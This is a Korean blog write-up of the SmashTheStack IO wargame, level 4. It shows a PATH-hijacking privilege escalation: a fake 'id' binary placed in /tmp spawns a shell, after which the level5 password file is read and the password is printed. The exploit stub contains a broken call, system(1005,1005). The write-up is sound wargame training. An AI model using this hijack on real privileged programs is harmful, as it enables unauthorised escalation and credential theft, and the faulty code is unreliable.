본문 바로가기
스터디/wargames

SmashTheStack : level4@io.smashthestack 문제풀이

by 깝태 2011. 7. 29.

워게임 문제풀이 - SmashTheStack : level4@io.smashthestack 문제풀이

이번 문제는 내가 처음 접했을때 어떻게 해야될지를 몰라서 막막했던 문제였다.

약간의 힌트를 얻어 풀기는 했지만


시스템해킹의 답은 일단은 문제를 많이 푸는것이다. 경험을 많이 쌓아가야 한다. 이렇게 기초문제들을 풀어감으로써

기초들을 많이 쌓아야지 좀 더 깊숙하고 이론적인 버퍼 오버플로우, 포맷스트링과 같은 기술을 연마할 수 있게 되는 것이다.

나는 대회들의 문제를 다시 풀어보거나 대회 보고서를 많이 읽으려고 애쓴다.

읽으면 읽음으로써 패턴들이 머리속에 들어오게 되고 그 패턴덕에 앞으로 문제를 푸는데 도움이 되기 때문이다.


이런 생각을 가지는데 '+α' 를 갖게 해준 나의 친구 pwn3r 에게 깊은 고마움의 뜻을 남긴다.


level4@io:~$ cd /levels


level4@io:/levels$ ./level04

uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu)


문제를 실행하면 리눅스 id 명령어가 실행된다. id 명령어는 위 처럼 여러 권한을 확인할 수 있다.


level4@io:/levels$ cat level04.c

#include <stdlib.h>


int main() {


        system("id"); // ID 명령어 실행


        return 0;

}


여기서 리눅스 프로그래밍의 기초인 환경변수에 대해 먼저 짚고 넘어가고자 한다.

우리가 터미널을 이용해 명령어(command)를 실행한다. 명령어를 실행하면 먼저 기본 셀인 bash 가
해당 bash 명령어인지 확인한다. 해당 bash 명령어가 아니라면 입력된 명령어가 환경변수 특정 폴더에 있는지 확인한다.

그 환경변수, 특정 폴더의 모임을 무어라고 부르냐? 바로 PATH 라고 부른다.
우리가 명령어를 실행하면 PATH 환경변수안에서 참조해서 실행하는 것이다.

그러면 현재 PATH 환경변수 안에는 무엇이 들어있나 보자.

level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games

바로 명령어를 입력하면 위 PATH 환경변수에 있는 폴더에서 참조를 해 명령어를 실행한다는것이다. 

보통 : 단위로 구별되며, 왼쪽에서 오른쪽으로 우선순위가 잡히고, 실행 명령어 파일이 있는 폴더를 입력해놓는다.
그러면 id 명령어 파일이 /usr/local/bin : /usr/bin : /bin : /usr/games 이 4 폴더 중 한 폴더에 들어있다는 것이다.

우리가 여기서 할 수 있는건 우리에게 쉘 권한을 부여해주는 프로그램을 짜고 파일명을 id 로 지정해주고
들어있는 폴더를 PATH 환경변수에 선언해주는것이다.

level4@io:/tmp$ cat aa.c
#include<stdio.h>

int main(void)
{
    system(1005,1005); // LEVEL05 의 권한은 1005 
    system("/bin/sh"); // 쉘 실행

    return 0;
}

level4@io:/tmp$ cd /levels

level4@io:/levels$ export PATH="/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games"

// export 명령어를 이용해 위 처럼 환경변수를 수정할 수 있다.

level4@io:/levels$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games

// 정상적으로 맨 처음으로 확인할 수 있게, 맨 왼쪽에 폴더를 옮겼다.

level4@io:/levels$ ./level04
sh-3.2$ cat /home/level5/.pass
RAhK8VOfcVYV

여기서 알아두어야 할건 공격이 가능했던 이유가 또 있다는 것이다.

문제의 소스에서 system("id"); 이 부분이 만약 system("/bin/id"); 이렇게 작성되었다면 어려웠을것이다.
바로 상대경로로 불러오기에 우리가 절대경로를 건들어서 문제를 풀 수 있었던 것이다.